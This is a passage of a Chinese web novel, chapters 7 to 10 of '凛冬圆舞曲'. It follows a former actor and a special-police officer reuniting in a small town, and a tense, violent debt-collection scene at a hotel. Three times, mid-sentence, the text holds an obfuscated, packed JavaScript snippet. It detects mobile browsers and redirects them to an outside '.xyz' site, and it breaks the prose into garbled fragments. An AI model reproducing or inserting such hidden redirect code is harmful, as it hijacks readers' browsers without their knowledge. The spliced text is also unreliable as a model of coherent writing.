《凛冬圆舞曲》 7.第 7 章 07 凛冬诧异地看着韩渠,韩渠自然地解释:“但我现在吃不了一整碗。” 凛冬心头一紧,重逢后一直没有问出口的问题脱口而出,“你的伤……” “已经好了。”韩渠很快打断他,“彻底好了。” “啊,那就好。”凛冬松了口气。 终于来了大鱼客人,老板喜滋滋地做冰淇淋去了,乱跑的小孩撞到了微微出神的凛冬,韩渠换了个位置,将他护在里侧。 “你担心我的伤?”明明是个问题,但韩渠的语气却不像是提问。 凛冬讶异于他的突然和直白,顿了顿,“这个,你当时回来时伤得那么重,谁看到也会担心的吧。何况……”凛冬抿着嘴唇,“何况我也算是半个经历者。” 须臾,韩渠说:“抱歉,将你牵扯进来。” 凛冬用力摇头,“不是,韩队,最不该说抱歉的人就是你。而且那时如果不是你,我早就没命了。” 韩渠转过头来,夜色的烘托下,他的眼神格外宁静,“执行任务时,我做任何决定,都没有心理负担,我很清楚那是我和我的队友肩负的使命。但将你牵扯进来的那一次不一样。” 凛冬手指渐渐收起来,指甲刺着掌心的皮肤,“因为我不是你的队友,是吗?” “我打搅了你的生活。”韩渠道:“往大了说,是打搅了你的人生。” “可是我的人生……”本来微不足道。 凛冬垂眸,没有往下说。他的人生并没有因为成为明星而光彩夺目,相反,退圈之前他始终觉得明星悬浮的生活食之无味弃之可惜,他的高光时刻是扮演了羽风这个警察,但那也只是扮演,而非真实经历,如今让他反复回味的,是阴差阳错卷入韩渠的卧底任务,虽然他被犯罪分子胁迫时表现得犹如小丑,可那是真实的他。 凛冬很慢地吐出一口气,他的心里话无法对韩渠说出口,就像他这辈子都无法像韩渠那样勇敢强大,韩渠这样的人,自然也很难理解他这样市井小民的渺小。 “你的人生很好。”韩渠却忽然接上他的话,“好像不管在什么环境里,你都能过得不错。” 凛冬有些意外,眨了眨眼,但他还没来得及思索更多,老板已经送上冰淇淋。那真是羡煞小朋友的海碗,冰淇淋高耸,点缀着巧克力碎和水果,底下还铺着一层芝士蛋糕,两人吃绰绰有余。 凛冬端着冰淇淋,左右看了看,摊子周围没有座位。韩渠指着斜对面食客众多的粉店,凛冬空了大半天的肚子一下子就闹起来。 纱雨镇有许多粉店,一落座凛冬就给自己点了猪蹄辣粉,然后要来一只空碗,挖了三分之一冰淇淋到空碗里。韩渠看着他动作,忽然笑出声来。他这才抬头,和韩渠对视片刻,不知韩渠在笑什么。 “我先分个冰淇淋。”他试着解释,“你要哪边?” 品相完美的冰淇淋此时被挖得有些丑陋,一大一小如同子母碗。韩渠似乎真的思索了一下,“你挖的时候想给我哪边?” 凛冬默默将小碗推给韩渠。韩渠又笑了,“可是我记得,这顿冰淇淋是你请我。怎么还给我吃小的?” 明知韩渠是在开玩笑,凛冬还是急着辩解,“你说吃不了一整碗的,我吃得了……”说到后面几个字,他声音变小了,懊恼地想,这是在计较什么? “你感冒好了吗?”韩渠冷不丁一问,凛冬立即像是被点了穴,倒不是怕韩渠,只是忽然想起冰箱里没有喝的药汤,这么一想,气焰顿时弱下去。 “这次就我吃这碗大的。”韩渠将大碗拖到自己面前,舀起一勺冰淇淋往嘴里送。 凛冬也吃了一口,还行,香香甜甜,奶味很浓。 “这里什么粉好吃?”韩渠问。 凛冬之前走神,这才发现韩渠还没点粉,他的视线落在韩渠的手臂上,韩渠穿着长袖衬衣,肌肉被布料好好地包裹起来。“你试试牛肉清汤粉吧?这儿的牛肉不错,清炖很鲜的。” 韩渠没有异议,两人各自挖着冰淇淋吃。凛冬嘴上说着一整碗都吃得完,但几口下去还是腻了,放到一旁,等一会儿吃辣了再吃。 两碗粉端上来时,韩渠却有了意见。只见他看看自己碗里的清汤寡水,又看看凛冬碗里的红油滚烫,轻轻眯起眼。凛冬眼皮一跳,“怎么了?” 韩渠尝过一块牛肉和一夹粉,“你跟以前不一样了。” 凛冬心中一咯噔,神情淡了淡,“嗯。” 单调的音节,难以囊括真实的情绪,仿佛有握不紧的东西堵在喉咙,凛冬蹙眉,一股莫名的烦躁涌上心头。 但下一刻,韩渠说:“冰淇淋要吃最多的,粉要吃猪蹄的,然后让我吃清汤寡水的牛肉。” 话中带着轻松的笑意,凛冬那被勒得绑紧的情绪登时被解开,他望向韩渠,韩渠还在笑:“吃这么多也没见比以前胖,那以前不是白吃苦了?” “那不一样。”凛冬轻松下来,举手让韩渠看他的肌肉,“以前那是没办法,镜头喜欢瘦的,现在……”说着,他自己先笑了起来。当明星时吃下去的每一口都要计算热量,计较如何消耗掉热量,吃得很少,没可能长起肌肉。而现在不再控制食欲,过去欠的补了回来,但消耗体力的工作做得多,无心插柳地练起了群群肌肉——当然,穿着衣服看上去还是瘦的。 “和你的是没法比。”凛冬想到韩渠的肌肉,感到一丝班门弄斧的羞赧,不比了,将手收回去,心想,我是为了你的肌肉着想,才给你点牛肉的。 韩渠仿佛心领神会,“谢谢冬冬哥。” 凛冬刚松弛的背脊又绷了起来,“你……别这么叫。” 韩渠说:“为什么?他们这么叫时你也没干涉。” 凛冬说不出个所以然来,埋头嗦粉。这家的猪蹄辣粉胜在一个辣字,凛冬吃得急,嘴和鼻尖很快就红了,额头上的汗珠在灯光下亮亮的。韩渠看了会儿,也低头吃起来。 舌头火辣辣的,凛冬赶紧吃了一大口冰淇淋,就这么冰火两重天地捞完最后一根粉,抬头一看,韩渠早就吃完了。 没声没响的,凛冬腹诽了一句。 付账时凛冬要掏钱,却被韩渠抢了先,韩渠还回头冲他笑,“冰淇淋是你请的。” M国到底是战乱初止的国度,纱雨镇除了夜市街,其他地方到了夜里,街上很少看得见人。凛冬载着韩渠在空荡荡的大街上驶过,正想问问韩渠到哪里下,居然听见韩渠在哼歌。 韩渠显然没有什么音乐天赋,调子都快走到西天取经去了。但越是这样,凛冬就越想听出他哼的是什么。集中注意力,专心致志,终于让凛冬听明白,韩渠哼的是一首早就过时的流行歌,二十年前应该很红。 凛冬眼前浮现出少年时的韩渠——尽管他并没有见过,男孩骑着自行车,戴着有线耳机,骑着自行车,音乐开得很大,男孩哼得也很大声,沿途的风将他的校服吹起来,他觉得自己特别酷。 凛冬在无根无据的想象中弯起唇角,他从来不觉得自己了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397817|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩渠,但认定韩渠正直不屈的内核中,有一缕自恋和臭屁,这是韩渠教他扮演羽风时,他对韩渠的初印象,后来沉重的任务揭开序幕,他也没认为英雄的韩渠和臭屁的韩渠有任何冲突。 “到了。”身后传来韩渠的声音,凛冬定睛一看,他竟然已经将摩托开回了晴天巷,可他载韩渠的初衷是送韩渠回住处! “韩队,你住哪里?”凛冬停车,左脚支撑着摩托。 韩渠笑道:“现在才问,是不是有点晚了?” 是你唱歌,还唱得那么走调,给我打了岔。凛冬这样想着,面上却是成年人的客气,“开习惯了,现在也不迟,镇里就这么大,你住在治安局那边吧?我……” 话音未落,韩渠接连打了好几个喷嚏。凛冬一怔,“韩队,你也感冒了?” 冰淇淋吃多了?还是被我传染?凛冬一下子愧疚起来,连忙说:“我店里有药和热水,吃了我再送你回去。” “给我倒杯热水就行,药就算了。”韩渠跟着凛冬穿过晴天巷,走到“大冬物流”店里。白一还在对账,头也不抬地叫了声“冬冬哥”,发现还有一人的动静才转身,“哟!韩哥!” “小白,还在忙呢?”韩渠语气熟稔。 凛冬看看两人,从保温壶里倒出半杯水试了试,不算热,他对韩渠说:“你坐一下,我烧点水。白一,我药呢?” 白一立即从抽屉里拿出来,“什么你药,这是韩哥给你送来的!” 凛冬刚提起水壶,“啊?” 白一说:“昨天你在家休息呢,韩哥又来看你了,还买了药,你今早不还吃了?” “韩队。”凛冬一时不知该说什么好。 “没事,我以为你住在这里。”韩渠说,“昨天顺路过来看看。” 白一替他冬冬哥说:“这门面就忙不过来时睡睡,我哥有个大房子呢!院子老大了!” 韩渠很感兴趣:“哦?” “听他瞎说。”凛冬将账本合上,赶白一走,“在镇外的小村庄里,一个农家院子。” 韩渠点头,“空了带我去参观参观。” 白一还要赶回去忙家务,凛冬回来了,他也乐得早点溜,“韩哥,下次再来玩儿啊。” 凛冬莫名尴尬,水烧开后忙不迭给韩渠倒了一杯,韩渠却已经溜达到冰箱边。凛冬瞳孔颤了颤,心说不会吧,韩渠忽然打开冰箱门,“让我来检查一下,药有没……” 最后两碗药汤还完完整整地摆在里面,蒙着保鲜膜,等着某位说谎的病人。 韩渠关上冰箱门,抱臂凝视凛冬。他的神情绝对称不上严肃,甚至有些许看戏的成分。但凛冬却像做坏事被抓了现场,“那个,韩队,你……” “听我解释?”韩渠微笑将他的话补充完。 凛冬挣扎片刻,终于认清糊弄不过去的现实,捂住脑袋,拿出真诚这一必杀技,“你辛苦帮我熬药,我很感激,前面几碗也都喝了。但是这药实在是……太苦了!” 韩渠学着他的语气,“太苦了!” 凛冬双手合十,“对不起,下次不浪费了。” “下次不生病才对。”韩渠端着碗走到水池边,将药汤全倒掉了。凛冬白天恨不得冰箱里没有这碗药,此时又心痛起来,“你就这么倒了?” “那留着让它们生崽?”韩渠顺手将碗洗干净。 凛冬噎住,“你……真会说笑。” “你倒是变小心了。”韩渠擦擦手上的水,走到凛冬面前。 8.第 8 章 08 韩渠几次提到改变,“小心”这样的字眼像是秋天黏腻的雨,打湿贴身衣物,带来挥之不去的潮湿。凛冬忽然有些控制不住情绪,直视韩渠的双眼,“韩队,我还没问过你,前阵子你是不是也去过夜市街?” 上次在“雨林情”感受到的视线,始终如一个未解之谜横亘在他心头。 韩渠似乎并未因为凛冬突然改变的语气而转换态度,从容地点点头,“对,治安局带我到处看看,那天你在‘雨林情’演出。” 答案就这么轻易地得到了,凛冬反而觉得失落,声音低下去,“你也没跟我打声招呼。” 韩渠眉心皱了下。 “我那天一直心神不宁,觉得有人在看我,听人说李东池邀请华国警察过来交流,我就,我就觉得会不会是你。”凛冬缩了下肩膀,“我没看到你,但你看到我了,你不叫我。要不是后来我去治安局送包裹,刚好遇到你,你是不是就假装没有在纱雨镇遇到我了?” 韩渠音色一沉,“怎么会?” 凛冬抬头看他,“但那天你没有和我打招呼。”他也不明白自己是怎么回事,魔怔般地执着于那个可有可无的招呼。他与韩渠之间在任何人看来都是极有缘分的,就像白一所说,他们有一个“孩子”。但他们又总是在错过,韩渠是水中的礁石,他只是随波逐流的浮萍,浪一来,风一吹,他就再也碰触不到韩渠。 心里有个声音在说,别对韩渠说这种话,太难看了,没劲。凛冬呼吸稍微急促,脸上也浮起血色,他正在尽力将来得突然的情绪压下去,可实在是收效甚微。 “再次遇到你,看到你过得不错,我也很高兴。”韩渠靠近凛冬,阴影几乎罩住了凛冬,“那天旁边还有其他人,我也才到纱雨镇不久,想安顿好了,再来找你。” 凛冬许久没有被人这样注视,他的双手背在身后,十指渐渐由紧握变得放松,韩渠仿佛用最简单的几句话,就化掉了他的不安。 “对不起。”凛冬揉了揉额头,“我刚才……不知道在发什么神经病。” “这算什么发神经病。”韩渠握住他的小臂,将他刻意用来遮挡的手轻轻拿开,二人再次看着对方,“有什么事还是说出来更好,不要老是憋在心里。” 片刻,凛冬点头。 “还有什么要问的吗?”韩渠恢复笑容。 凛冬当然有,但斟酌之后,出口的只有一个,“韩队,你怎么不好好待在国内?” 韩渠靠坐在桌边,“你不是知道吗,这边邀请我们过来交流,李东池亲自拟了名单。” “名单上有你。”凛冬对李东池的了解只限于旁人的转述,“肯定也有陈队、鸣寒他们,但是只有你来了。” 韩渠两腿一伸,笑着叹气,“其他人都拒绝了,陈争鸣寒忙着在函省到处破案,一点儿面子不给李东池。” 凛冬说:“你也可以……” “总得派个人以示心意吧,不然李东池要闹了。”韩渠半开玩笑,“说实话,陈争他们过来也没什么用,刑侦那一套,这边现在还用不上。我就不一样了。” 凛冬说:“你是特警。” 韩渠冲他一扬眉,“对啊,我人还没到,卢克就给我安排好训练特警的任务了。” “那你,会在这边待多久?”凛冬开口时心跳逐渐加快。 “三个月总得有吧。”韩渠想想又说,“可能半年也说不定。” 凛冬没忍住弯起唇角,他自以为并未显露分毫,但眼里的光亮已经落在韩渠眸中。 “咳咳——”凛冬症状反复,找出来给韩渠吃的药,反而又被韩渠推给了他。吃完药后,凛冬拿起车钥匙,“我送你回去吧。” 韩渠摇头,“你感冒还没好,多休息。” 凛冬不肯,“这里夜里打不到车的,你总不能走回去。” 韩渠朝院门口的摩托抬抬下巴,“那冬冬哥,摩托借我一天?” 凛冬拿着的是汽车钥匙,“你骑摩托回去?” “借不借呀?” 话都说到这份儿上了,凛冬怎么可能不借。送韩渠到晴天巷,互道晚安。摩托已经发动,凛冬才想到,外套在家里,没法还给韩渠。 “没事。”韩渠挥手,“下次再说。” 引擎的轰鸣响起,摩托在拥挤弯曲的巷子里划过一道红光,直到韩渠的身影彻底消失,凛冬才转身回到院子里。炉子还烧着,白一用炉子煮过方便面,更往前,韩渠用炉子熬过药。凛冬盯着闪烁的火光看了会儿,打算给白一买个电磁炉,以后这个炉子就不给白一用了。 韩渠回到治安局附近时,一辆辆警车鸣着警笛呼啸驶过,卢克满面喜色,一看见韩渠,就神气活现地走过来,“韩先生,我这队伍带得不错吧?哈哈哈!” 韩渠跟他客套两句,正想回住处,卢克又将他拉住,“韩先生,过阵子你去蕉榴市,见到了李东池……” 韩渠笑道:“放心,纱雨镇的治安现在是什么样,大家有目共睹。” 卢克大笑,“那就好,那就好!今天这行动也多亏韩先生支援,训练也帮了我不少忙啊!” 治安局斜对面的疗养所就是卢克给来交流的警察们安排的住所,说是疗养所,其实是原来的私人院落改建而成,有幸没有在战火中毁坏,装饰一番后,是纱雨镇最拿得出手的建筑之一。 韩渠没有睡意,靠在窗边想事,不远处的桌上放着凛冬的摩托钥匙。纱雨镇没有夜景可言,晴天巷的方向一片漆黑。不久,手机震动,韩渠接起来,打趣道:“你那边几点了,还有空给我打电话?” 熟悉的声音传来,“白天我有空吗我?谁都跟你现在一样游手好闲?” 韩渠说:“那是谁把我这个游手好闲的推出来应付李东池?” 那头答得飞快,“你明明自愿的。最近怎么样?没太劳累吧?累了就给我回来。” 韩渠说:“哟,关心起好兄弟来了。” “见到凛冬了?”对方不耐烦了,直入主题。 韩渠玩钥匙的手顿了下,回应也慢一拍,“嗯。” “你……”对方好似在搜索合适的词语,“你还怕不怕他?” 韩渠“啧”一声,“老陈,像话吗?我怕他干什么?” 电话那边正是韩渠的好友,年初在他完成卧底任务后,将重伤的他带回国的陈争。闻言,陈争也“啧”,“这话是凛冬亲口说的,他觉得你和我们所有人相处都正常,唯独和他别扭。” “那不是……”韩渠叹气,倒也没想和陈争解释些什么,他与凛冬的关系十分微妙,凛冬在他这儿不能划分到朋友的类别,也不能划分到队友、亲人,时至今日,他也无法给凛冬一个准确的定义。 他失去意识的时间非常漫长,从ICU到重点病房,即将醒来之前,他对外界其实有微弱的感知,很多人来看他,聚集在他的身边,祈祷他能够醒来。他听不清他们的声音,他们像是潮水包围他,从死神的手中拉拽他。他很累,好像就这么沉睡下去也没有关系。 可是每当潮水退去时,会有一个贝壳,在他身边凝望他。贝壳形单影只,病房里有其他人时,贝壳就不见踪影。贝壳喜欢对他说悄悄话,很奇怪,他听不见,却能感觉到。 贝壳和潮水一样,盼望他转危为安。他苏醒的那一天,睁眼见到的第一个人就是贝……不,是凛冬。 他的五感还没能适应清醒后的世界,一切感知都是迟钝的,但他看见手机从凛冬手中掉落,看见凛冬脸上惊讶又惊喜的神情。他起初无法将凛冬和贝壳划上等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14407544|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,脑子缓慢地处理着信息,他想叫面前人的名字,却看见凛冬捡起手机,夺门而逃。 然后医生、护士、守着他的特警涌入病房,涨起的潮水冲走了他的贝壳。 醒来后就是各种检查、治疗、复健,来看他的人更多了,贝壳很少露面,不再在他床边说悄悄话,但他经常在走廊上看到贝壳。像昏迷时那样,他时刻感知得到贝壳的存在。他想问问贝壳,当时跟他说了些什么,但贝壳发现他的视线,会扭头就走。 奇怪的贝壳。 我不怕他,是他怕我。韩渠在心里反驳陈争。 “见到了就好,你俩这次把话说开,省得你一天患得患失。”陈争指点道。 韩渠自然不赞同,“我什么时候患得患失?我那只是……” “忧郁。”陈争抢在他前面道:“行了你说无数次了,你都快成忧郁王子了。” 韩渠说:“你这深更半夜打电话,就为了嘲讽我?鸣寒呢?我跟他说说。” “你和他能有什么事儿说?”手机那头明显传来另一人的动静,但说话的还是陈争,“哦,李东池昨天找我,问你哪天去蕉榴市。” 韩渠说:“纱雨镇这边还有些事,完了我再过去。” 陈争开始语重心长,“你有数就行。老韩,你去M国这一趟等于是在休假期非要加班,老卢也没给你任何具体任务,哪天你把你私事处理好了就回来。” “瞎说什么,我正经出差。”韩渠笑了,“什么非要加班,是李东池非要我来。” 陈争笑他,“行行,你就这么跟凛冬说吧。” 我还真说了,刚说。韩渠想。 “大冬物流”有许多摩托,被韩渠骑走一辆,不影响凛冬进出。接连过了几天清闲日子,凛冬感冒彻底好了,其他得了流感的员工也陆续回来开工。凛冬没急着跟韩渠要摩托,甚至觉得一辆摩托而已,送给韩渠更好,反正韩渠在纱雨镇待的时间不长不短,有个代步的,去哪里也方便。 小镇的项目没有因为流感而停歇,凛冬一复工,一个上午就签了三个合同,下午却接到白一的电话,说是一笔款子半个月了还没有结清,老板是从M国北边过来的商人,叫温省,偷奸耍滑。 凛冬听到这个名字,就已面露不悦。白一是他的得力干将,但不是什么事他都会拿出来跟白一说。这个温省,是他刚来纱雨镇时认识的人,会一口流利的汉语,前些年在华国做生意。 他初来乍到,人生地不熟,温省热情帮忙,在温省的牵线下,他成了几笔生意,渐渐有了自己的人脉,也和温省签下几个合同。那时,他对温省很是感激,还主动请温省吃饭。 就是在那次饭局上,温省酒过三巡,终于露出狐狸尾巴。原来,温省在华国时就知道他,当时自然没有接触他的机会,如今在M国意外遇上,立即生出歹意,借着酒意动手动脚。 凛冬当场就跟温省翻了脸,一盘爆炒腰花扣在温省头上。气头下去后,却难免担忧。温省怎么说也是M国人,是地主,M国的治安又远不能和国内比,真把温省惹毛了,说不定哪天他父母就会收到他的骨灰。 他来M国,不是想交待在这儿。 好在温省酒醒后没找他麻烦,还为发酒疯向他道歉,是否觊觎他却只字不提。他想断了和温省的合作,但有合同在,不是说断就能断。白一上手后,他将和温省有关的活儿交给白一来处理,已经许久没有亲自和温省联系。 白一说温省特别小气,斤斤计较,但凛冬知道温省计较的不是那屁大点的利益,圈内温省也没有拖欠款项的恶名。温省这么干,不过是故意恶心他,让他亲自上门解决。 这个麻烦始终得由他自己来面对,凛冬在电话里安抚白一,“你不用管了,我去找温省要钱。” 9.第 9 章 09 温省投资的项目在纱雨镇西边,再往西就是荒郊野岭了。凛冬做了十分钟的心理建设,才拨去那个许久没有联系过的号码。快要自动挂断时,温省接起来,单听声音的话,会以为这是个温柔有风度的男人,“小凛,怎么有空给我打电话?找我有什么事吗?” 凛冬冷哼一声,“温老板说笑了,我的人刚和你问过款项的事,你会不知道我为什么找你?” 温省竟是爽快地笑起来,“小凛啊,你误会我了,不是我不想结这个钱,我温某在纱雨镇的名声,你应该了解过,我是那种欠账不还的人吗?” 凛冬无动于衷,“你的名声我不在意,我只在意属于我的钱是不是还在你兜里。” “哈哈哈,小凛,一阵子不见,怎么变得这么尖锐了?” “我更尖锐的时候你不是见到过?说吧,什么时候打钱?” 温省沉默片刻,“小凛,话我得给你解释清楚,我们当初签的合同,是要求你亲自跟进我的项目,但你呢,把活儿丢给小白就不管了,我知道你忙,顾不过来,我也没为难你吧?” 凛冬听得直泛恶心,却不得不听下去。 “具体执行上你不参与,我不计较了,但最后结款的流程,你自己来,我这要求不算过分吧?”温省语气中的恶意已经流露出来。 凛冬没有犹豫,果断问:“你在哪里?今天方便见面吗?” 温省笑道:“西雨酒店,我全天恭候。” 不等温省说完,凛冬就挂了电话,恶心在身体里翻滚,激起一层鸡皮疙瘩。西雨酒店正是温省建的,那边连同这酒店,有许多项目都属于温省,他今天过去,无异于自投罗网。 但这件事必须解决,钱并不是重点,即便温省硬是不打款,他用自己的存款填补“大冬物流”的空缺就是,可温省的存在让他如鲠在喉,他与温省都将长期在纱雨镇活动,不让温省吃点苦头,这人始终会像道恶臭的阴影环绕在他周围。 出门之前,凛冬迅速换好衣服,在里面穿了件有防弹层的战术背心,夹层里插着一把作战匕首。这样的装备要是在国内,他只会在拍戏时接触一二,但在M国却是刚需,甚至纱雨镇很多人有枪,有的有证,有的非法持有,他没有枪,因此匕首必不可少。 装好匕首时,他短暂地顿了下,将匕首又拿出来端详。第一个教他用匕首防身的人,是韩渠。 那时他跟着韩渠学特警的仪态、简单擒拿,没想过玩刀,但休息时,韩渠拿出一把作战匕首,像笔那样转着玩儿。他好奇,想要抢过来看看,但韩渠一个轻轻的格挡,就断掉了他的动作。 他气鼓鼓地抱怨:“又不要你的,看都不给看吗?韩队长个子那么大,心眼儿那么小!” 韩渠将匕首在他眼前挽出了剑花,最后像是要扎入他的心脏,吓得他不敢动弹,但被刀风吹起的发尾落下,胸口轻轻一动,匕首已经收起锋锐,安静地落在他胸前的口袋里。 “噢噢噢!你怎么放的?刚才不还刀尖冲着我吗?我要学!”他兴奋地围着韩渠转,“韩队长心眼儿大,教教我!” “韩队长心眼儿到底大还是小啊?”韩渠抱着手臂,很臭屁地问。 他被韩渠那一套动作帅到了,只想赶紧学过来,无脑吹捧,“大!韩队长哪儿都大!” 现在回忆起来,韩渠似乎无语了一下,拿回匕首,“你这样,再这样……停!刀尖不要乱对着人!” 那天的教学任务因为这个插曲而被打乱,他磕磕绊绊地学了用刀的皮毛,对韩渠的匕首爱不释手,差点开口找韩渠要。韩渠老早看出他的心思,收好匕首,“这不能送你。” “知道知道!这和你们的枪一样,是不能丢失的。”他瘪瘪嘴。 “和枪还是不一样。”韩渠说:“枪一定不能落在不能约束自己的人手上,但匕首,普通人还是能用来防身。” 凛冬进《羽事》剧组之后,跟着动作指导学了很长一段时间的匕首,剧组里枪是道具,匕首却不是,直到扮演完羽风,他已经能靠匕首完成自卫和基本的攻击。 来到M国,给他提供枪.械购买门路的人不少,但他最终只选择了作战匕首,这次带在身上的是其中一把,其余则藏在门面和家中各个角落。 车向西雨酒店驶去,太阳西沉,凛冬的眼神越来越暗。途中,白一打来电话,问他在哪里,要跟着来。凛冬没答应,“你看着店就行,催个款而已,这都搞不定,我还当什么老板。” 话是这么说,凛冬心里却打着鼓。他是外来的和尚,温省则是地头蛇,哪有外来和尚和地头蛇硬碰硬的,他只是没有更好的选择。 西雨酒店只对外开放了一半,入夜,灯光昏暗的酒店处处透露着不祥。凛冬跟随温省的手下走在装饰复古的走廊上,两边的壁画上,似乎画着邪恶的宗.教故事。凛冬目不斜视,极其小心,匕首在立即能够抽出来的位置。 一扇门打开,温省“笑容可掬”地迎上来,“小凛,别来无恙。” 凛冬环视周围,可见范围内站着五名裹得严实的保镖,温省却似乎不设防,竟是穿着松松垮垮的睡衣。凛冬皱起眉,他上门讨债,欠钱的却穿睡衣,龌龊心思藏都不藏了。 “合同我签的,钱我亲自上门催。”凛冬不能退缩,“什么流程温老板直说。” 温省拿起一把刀,却不慌不忙地给蜜桃雕花,“小凛,急什么,M国不产这种甜蜜的水果,这是我请人从华国送过来的,尝尝?” 凛冬别开脸,桃子的汁水从他脸上划过,防弹衣里单薄的肌肉顿时紧绷。 “这么紧张做什么?我们也算是至交好友了。”温省似乎对凛冬的拒绝很是伤心,“上次的事,我跟你道过歉,也已经很久没有出现在你面前,这次就当是老友相聚,开开心心的,不好吗?” 凛冬睨视着他,冷笑,“哪个老友相聚,穿的是睡衣?温老板,你这也太随便了。” 温省展开双臂,“我这不是为了展示我对你的友好吗?” 凛冬看了看虎视眈眈的保镖,“友好的保镖?” 温省厚颜无耻道:“那当然是害怕你再给我开瓢。” 凛冬耐心几近耗尽,“温老板,我是来要求你立即付款。” 温省慢条斯理,“不急……” 凛冬突然逼上,右手掐住温省的脖子,将温省挡在身前,他感知到温省身子一僵,心跳非常快。而与之同时,保镖们抽出了枪。他注意力集中到顶点,面上竭力维持平静。动手之前,他已经预想好了角度,这个位置,保镖就算开枪,被打伤的也是温省,而温省惜命,他赌温省不敢让保镖开枪。 “小凛,你这是干什么?有话咱哥俩好好说!”温省嗓音颤抖。 凛冬勒着温省的脖子,今天即便是虚张声势,他也必定让温省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414226|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕他,什么合同,什么法律,在温省这种老油条眼中不值一提,唯有惧怕才能让温省老实。他以前就是顾虑太多,让温省得寸进尺。他要做个疯子,过去被犯罪组织绑架的经历早就让他成了疯子,他还怕温省不成? “我这就打款,你你你,先放开我!”温省哆嗦着喊秘书,一个戴着眼镜的男人抱着电脑闯进来,温省急忙指挥他转账,命令保镖不准开枪。 一分一秒的时间都十分煎熬,听到转账成功时,凛冬并未松开温省。温省的冷汗糊在他身上,他忍着不适,在温省耳边道:“温老板,你今天知道我是什么人了?” 温省忙不迭道:“知道,知道!小凛,不,凛总,凛老板!咱们这次合作愉快,以后,以后我绝对不挡你的路!” “好说,大家都是在纱雨镇做生意。”凛冬缓缓后退,“井水不犯河水,对你我都好。” “是,是!” 松开温省之前,凛冬压低音色,“别再出现在我面前。” 温省被推得一个踉跄,看着凛冬飞快离开的背影,眼中杀意顿生,怒喝道:“站着干什么?这是谁的地盘?给我追!” 身后袭来急促的脚步声,凛冬眉心紧皱,温省刚才在他身上跌了那么大一个跟头,立即就想报复回来。看来在M国这种地方,他认知中的威胁起不到多少作用,恐怕只有…… “嗖嗖——”子弹突然从耳边飞过,风声令人胆寒。凛冬倒地翻滚,子弹在身侧掀起火花和尘埃。出演羽风带给他最大的财富大约就是实打实练出的身手,尤其是躲避子弹和徒手攀登,他边跑边躲,一枚子弹打在他的肩头,和防弹层相撞,极大的推力险些将他放倒。他的动作有一瞬间的凝滞,这是他第一次被真正的子弹击中。 反应过来之后,他加快步伐,用尽全力奔逃。保镖穷追不舍,这座即将开业的酒店仿佛要用他的血来献祭。 凛冬急速转入一个拐角,不远处有一盏窗户,翻出去,运气好的话能够脱险。然而一个保镖突然闪出,漆黑的枪.口近距离对准他。他心中大骇,肢体的本能反应却快过头脑,一直用来防身的匕首抽出,在保镖扣动扳机之前,刺穿了保镖的手腕。 一声惨叫,保镖抱手倒地。凛冬来不及思考,抽出匕首,几个助跑,飞身跃出窗户,落在楼下的露台上。尚未站稳,子弹便打碎了楼上的玻璃,碎片如冰雹般降下。 一道刺眼的白光突然照在露台,凛冬下意识抬手遮眼,枪声骤然停歇,一切像是被按了暂停键。 “无法无天了是不是?敢在我的辖区闹事?”一阵雄浑的骂声传来,用的是M国语,接着,凛冬听到了警车的鸣笛。瞳孔逐渐适应强光,凛冬向下看去,只见那位犹如暴龙的治安总长卢克正在咆哮,酒店停着三辆警车。忽然,他在一群M国警察中,看到了一个熟悉的声影。 韩渠正向露台看来,神情和上次见到时截然不同,冷肃、强硬,对他而言,这是陌生的韩渠,可在他的想象中,他又与这样的韩渠无数次相见。 韩渠一定看到他跳下来的一幕了,他迫切地想向韩渠走去,但是腿不知道是断了还是被扭到,刚迈出一步,就传来钻心的痛。 韩渠看见他艰难移动,眉心似乎皱得更紧,立即跑向露台。 凛冬喊了一声“韩队”,韩渠已经消失在视野中,下一瞬,露台边缘闪过黑色的人影,韩渠就这么重新出现在他面前。 10.第 10 章 10 凛冬下意识抬脚向前,但仅仅是挪出一步,就痛得冷汗淋漓,他痛苦地低下头,清楚自己此时的五官一定十分狰狞。 “别动。”韩渠迅速来到他身边,扶助他的腰背,“放松,别怕,坐下来,我看看你的脚。” 凛冬根本无法放松,身体绷得像一根棍子,被韩渠扶着的地方却在颤抖。韩渠没有这样紧挨着他过,上次他发烧,韩渠也只是扶着他的手臂,让他借力。他讶然地盯着韩渠,一动不动。 “不怕,没事了。”韩渠耐心地安慰,“让我看看你伤到哪里了。” 此时,卢克已经指挥警察进入酒店,四处是喝止、警告的声音,保镖们纷纷举起双手,温省灰头土脸地说着:“误会!误会!” 